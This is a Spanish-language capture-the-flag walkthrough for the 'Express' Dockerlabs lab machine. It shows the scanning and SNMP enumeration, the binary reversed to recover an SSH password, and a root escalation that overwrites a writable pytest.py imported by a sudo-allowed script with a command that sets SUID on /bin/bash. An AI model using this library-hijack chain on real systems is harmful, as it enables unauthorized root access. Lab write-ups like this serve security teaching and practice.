# CTF Express Intermediate

URL Download CTF = <https://drive.google.com/file/d/1PJ4HmKWZJCNtc7leqWLPlhmRgnSosUUU/view?usp=sharing>

## Instalación

Cuando obtenemos el `.zip` nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

```shell
unzip express.zip
```

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

```shell
bash auto_run.sh express.tar
```

Info:

```
██████╗ ██╗    ██╗███╗   ██╗██████╗ ██████╗ ██╗
██╔══██╗██║    ██║████╗  ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║  ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║  ██║╚═╝
██║     ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝      ╚══╝╚══╝ ╚═╝  ╚═══╝╚═════╝ ╚═════╝ ╚═╝

          ==                           
         @+:@ @##@                     
          @++:-----+@ @@#+:----:+#     
           #-+-----:+:---------:       
            *::-----++-----::::#       
             ::------+:--------:       
             #-+------+:-::-----#@     
              *::+=@@#++-------::@     
              @+=     @++::+#@@@#*#    
               #-@                     
                *+#++@                 
               +-:::+-@                
               :-:+:::+                
              @+::*::::                
             *::++-::*                 
          =:--:-:++ @-#                
      #*:---:--++@   @@                
      @::-:--++*                       
       @::-:++#                        
         *++*                          

 :: Plataforma de máquinas vulnerables ::
 :: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::

 █▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
 █           FLAG{Pwn3d!_is_awesome!}            █
 █▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█


[✔] bc ya está instalado.

[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual      
[✔] Activando máquina virtual      

[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir

```

Por lo que cuando terminemos de hackearla, le damos a `Ctrl+C` y nos eliminara la maquina para que no se queden archivos basura.

## Escaneo de puertos

```shell
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
```

```shell
nmap -sCV -p<PORTS> <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 11:17 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000027s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 7a:88:11:76:1d:4b:b3:31:95:6d:90:86:87:ef:3b:96 (ECDSA)
|_  256 26:f9:fb:7a:c7:be:cf:da:99:39:18:f5:bd:56:d5:a3 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: Correos Express - Env\xC3\xADos R\xC3\xA1pidos y Seguros
|_http-server-header: Apache/2.4.58 (Ubuntu)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds
```

Vemos que hay una pagina web activa, pero no veremos gran cosa, si hacemos un reconocimiento por `UDP` ya que por `TCP` no encontramos nada interesante, vamos a filtrarlo por los puertos abiertos.

## UDP

```shell
nmap -p- --open -sU --min-rate 5000 -vvv -n -Pn <IP> | grep "open"
```

Info:

```
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Discovered open port 161/udp on 172.17.0.2
```

Y vemos que el puerto `161` esta abierto por `UDP` por lo que con un script de `nmap` vamos a ver mas informacion sobre dicho puerto:

```shell
nmap -sU -p 161 --script=snmp-info <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-10 11:25 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000040s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-info: 
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: a3dbb266b604806700000000
|   snmpEngineBoots: 3
|_  snmpEngineTime: 8m05s
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
```

Vamos a intentar obtener informacion sobre dicho puerto a ver si lo tuviera mal configurado:

```shell
snmpwalk -v2c -c public <IP>
```

Info:

```
iso.3.6.1.2.1.1.1.0 = STRING: "Linux 1eda413e9880 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (191605) 0:31:56.05
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@express.dl>"
iso.3.6.1.2.1.1.5.0 = STRING: "1eda413e9880"
iso.3.6.1.2.1.1.6.0 = STRING: "/var/www/secret/*"
iso.3.6.1.2.1.1.7.0 = INTEGER: 105
iso.3.6.1.2.1.1.8.0 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.2.1 = OID: iso.3.6.1.6.3.10.3.1.1
iso.3.6.1.2.1.1.9.1.2.2 = OID: iso.3.6.1.6.3.11.3.1.1
iso.3.6.1.2.1.1.9.1.2.3 = OID: iso.3.6.1.6.3.15.2.1.1
iso.3.6.1.2.1.1.9.1.2.4 = OID: iso.3.6.1.6.3.1
iso.3.6.1.2.1.1.9.1.2.5 = OID: iso.3.6.1.6.3.16.2.2.1
iso.3.6.1.2.1.1.9.1.2.6 = OID: iso.3.6.1.2.1.49
iso.3.6.1.2.1.1.9.1.2.7 = OID: iso.3.6.1.2.1.50
iso.3.6.1.2.1.1.9.1.2.8 = OID: iso.3.6.1.2.1.4
iso.3.6.1.2.1.1.9.1.2.9 = OID: iso.3.6.1.6.3.13.3.1.3
iso.3.6.1.2.1.1.9.1.2.10 = OID: iso.3.6.1.2.1.92
iso.3.6.1.2.1.1.9.1.3.1 = STRING: "The SNMP Management Architecture MIB."
iso.3.6.1.2.1.1.9.1.3.2 = STRING: "The MIB for Message Processing and Dispatching."
iso.3.6.1.2.1.1.9.1.3.3 = STRING: "The management information definitions for the SNMP User-based Security Model."
iso.3.6.1.2.1.1.9.1.3.4 = STRING: "The MIB module for SNMPv2 entities"
iso.3.6.1.2.1.1.9.1.3.5 = STRING: "View-based Access Control Model for SNMP."
iso.3.6.1.2.1.1.9.1.3.6 = STRING: "The MIB module for managing TCP implementations"
iso.3.6.1.2.1.1.9.1.3.7 = STRING: "The MIB module for managing UDP implementations"
iso.3.6.1.2.1.1.9.1.3.8 = STRING: "The MIB module for managing IP and ICMP implementations"
iso.3.6.1.2.1.1.9.1.3.9 = STRING: "The MIB modules for managing SNMP Notification, plus filtering."
iso.3.6.1.2.1.1.9.1.3.10 = STRING: "The MIB module for logging SNMP Notifications."
iso.3.6.1.2.1.1.9.1.4.1 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.2 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.3 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.4 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.5 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.6 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.7 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.8 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.9 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.1.9.1.4.10 = Timeticks: (0) 0:00:00.00
iso.3.6.1.2.1.25.1.1.0 = Timeticks: (474455) 1:19:04.55
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 E9 01 0A 11 30 39 00 2B 01 00 
iso.3.6.1.2.1.25.1.3.0 = INTEGER: 393216
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.8.11-amd64 root=UUID=83f637c8-5a20-46ef-a18a-c151451da541 ro quiet splash
"
iso.3.6.1.2.1.25.1.5.0 = Gauge32: 0
iso.3.6.1.2.1.25.1.6.0 = Gauge32: 7
iso.3.6.1.2.1.25.1.7.0 = INTEGER: 0
iso.3.6.1.2.1.25.1.7.0 = No more variables left in this MIB View (It is past the end of the MIB tree)
```

Y por lo que vemos si nos vuelca informacion, por lo que vemos en el correo, nos muestra un dominio, por lo que vamos a probar a buscar en dicho dominio en la web.

```shell
nano /etc/hosts

#Dentro del nano

<IP>          express.dl
```

Lo guardamos y buscamos lo siguiente:

```
URL = http://express.dl/
```

Vemos que nos muestra una pagina web en dicho dominio, por lo que vamos hacer un poco de `fuzzing`.

Vamos a probar a poner una tipica donde suelen haber malas configuraciones en muchas paginas web.

```
URL = http://express.dl/robots.txt
```

Info:

```
#################################################
#		    ROBOTS			#
#################################################

disable: binary/*
disable: secret/note.txt
```

Vemos que hay una interesante llamada `binary` que si entramos dentro, veremos un archivo llamado `game` el cual podremos descargar.

```shell
chmod +x game
./game
```

Info:

```
Bienvenido al juego de adivinar el número.
Debes adivinar el número correctamente 100 veces para obtener la clave secreta.

Adivina el número (intento #1 de 100): 5
El número es más grande. Intenta de nuevo: 70
El número es más grande. Intenta de nuevo: 80
¡Correcto! Pasemos al siguiente número.

Adivina el número (intento #2 de 100): 
```

Vemos que es como un minijuego, pero tendremos que adivinarlo 100 veces el numero aletorio, para descubrir la clave secreta, por lo que le haremos `ingenieria inversa`:

## Escalate user admin

### Ingenieria Inversa

Vamos a ejecutar una herramienta para decompilar el binario y asi ver las funciones que se llaman, etc...

```shell
ghidra
```

Una vez que hayamos creado un nuevo proyecto e importado el binario para ser decompilado, si nos vamos a la parte izquierda donde estan las `functions` veremos una bastante interesante llamada `hidden_key` que si entramos en ella, veremos lo siguiente:

```c
void hidden_key(void)

{
  undefined8 local_28;
  undefined2 local_20;
  undefined6 uStack_1e;
  undefined2 uStack_18;
  undefined8 local_16;
  uint local_c;
  
  local_28 = 0x6472307773734050;
  local_20 = 0x2321;
  uStack_1e = 0x313532302d2d;
  uStack_18 = 0x3336;
  local_16 = 0x45464e4773756866;
  puts(&DAT_00102008);
  printf("La clave secreta es: ");
  for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
    putchar((int)*(char *)((long)&local_28 + (long)(int)local_c));
  }
  putchar(10);
  return;
}
```

Vemos que esta una clave ofuscada por lo que vamos a decodificarla de la siguiente forma:

```
local_28 = 0x6472307773734050; // Interpreta como ASCII
// Divide en pares de bytes (little-endian):
// 0x50 ('P'), 0x40 ('@'), 0x73 ('s'), 0x73 ('s'), 0x77 ('w'), 0x30 ('0'), 0x72 ('r'), 0x64 ('d')

local_20 = 0x2321; // Interpreta como ASCII
// 0x21 ('!'), 0x23 ('#')

uStack_1e = 0x313532302d2d; // Interpreta como ASCII
// 0x2d ('-'), 0x2d ('-'), 0x30 ('0'), 0x32 ('2'), 0x35 ('5'), 0x31 ('1'), 0x36 ('6'), 0x33 ('3')

uStack_18 = 0x3336; // Interpreta como ASCII
// 0x36 ('6'), 0x33 ('3')

local_16 = 0x45464e4773756866; // Interpreta como ASCII
// 0x66 ('f'), 0x68 ('h'), 0x75 ('u'), 0x73 ('s'), 0x47 ('G'), 0x4e ('N'), 0x46 ('F'), 0x45 ('E')
```

Esto unido todo se veria de esta forma:

```
P@ssw0rd!#--025163fhusGNFE
```

### SSH

Por lo que podemos pensar que puede ser la contraseña de un usuario del sistema, probemos con el nombre que vimos en el correo del puerto `UDP` anteriormente que era `admin`:

```shell
ssh admin@<IP>
```

Metemos como contraseña `P@ssw0rd!#--025163fhusGNFE` y veremos que estamos dentro, por lo que leeremos la flag del usuario.

> user.txt

```
b3c3a88e29a2770f381cab74163e5a94
```

## Escalate Privileges

Si hacemos `sudo -l` veremos lo siguiente:

```
Matching Defaults entries for admin on 1eda413e9880:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User admin may run the following commands on 1eda413e9880:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/script.py
```

Por lo que vemos podemos ejecutar el binario `python3` junto al script del `opt` como el usuario `root`.

si leemos el codigo del script, veremos lo siguiente:

```python
import os
import random
import time
import pytest

# Configuración de la pantalla
ROWS, COLUMNS = os.get_terminal_size()
DELAY = 0.05

def generate_column():
    """Genera una columna aleatoria de caracteres."""
    return [random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()") for _ in range(ROWS)]

def draw_rain(columns):
    """Dibuja las columnas de caracteres en la pantalla."""
    #os.system('cls' if os.name == 'nt' else 'clear')  # Limpia la pantalla
    for col in zip(*columns):
        print("".join(col))
    time.sleep(DELAY)

def main():
    # Crear columnas aleatorias
    columns = [generate_column() for _ in range(COLUMNS)]

    while True:
        # Desplaza las columnas hacia abajo
        for col in columns:
            col.insert(0, random.choice("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()"))
            col.pop()
        draw_rain(columns)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\nAnimación terminada.")
```

Vemos que se esta importando una libreria bastante rara en el script que se llama `pytest` por lo que vamos a buscarla a ver que hace.

```shell
find / -name "pytest.py" 2>/dev/null
```

Info:

```
/usr/lib/python3.12/pytest.py
```

Si listamos para ver los permisos que tiene dicha libreria...

```shell
ls -la /usr/lib/python3.12/pytest.py
```

Info:

```
-rwxrwxr-x 1 root admin 1 Jan 10 17:08 /usr/lib/python3.12/pytest.py
```

Vemos que somos del grupo del script, por lo que podremos escribirlo, haciendo lo siguiente.

```shell
nano /usr/lib/python3.12/pytest.py

#Dentro del nano
#/bin/python3

import os

os.system("chmod u+s /bin/bash")
print("Se ha establecido el bit SUID en /bin/bash.")
```

Esto lo que hara sera hacer un `chmod u+s /bin/bash`, por lo que lo guardamos y ejecutamos lo siguiente para que se ejecute la libreria y se nos ponga con permisos `SUID` la `bash`.

```shell
sudo python3 /opt/script.py
```

Y tendremos que darle a `Ctrl+C` para que pare la `"animacion"` y si comprobamos la `bash`.

```shell
ls -la /bin/bash
```

Info:

```
-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash
```

Vemos que tiene permisos `SUID` por lo que haremos lo siguiente:

```shell
bash -p
```

Y con esto ya seremos `root`, por lo que leeremos la flag de `root`.

> root.txt

```
8d4efee97352c73a8b059a94fe69dcd1
```
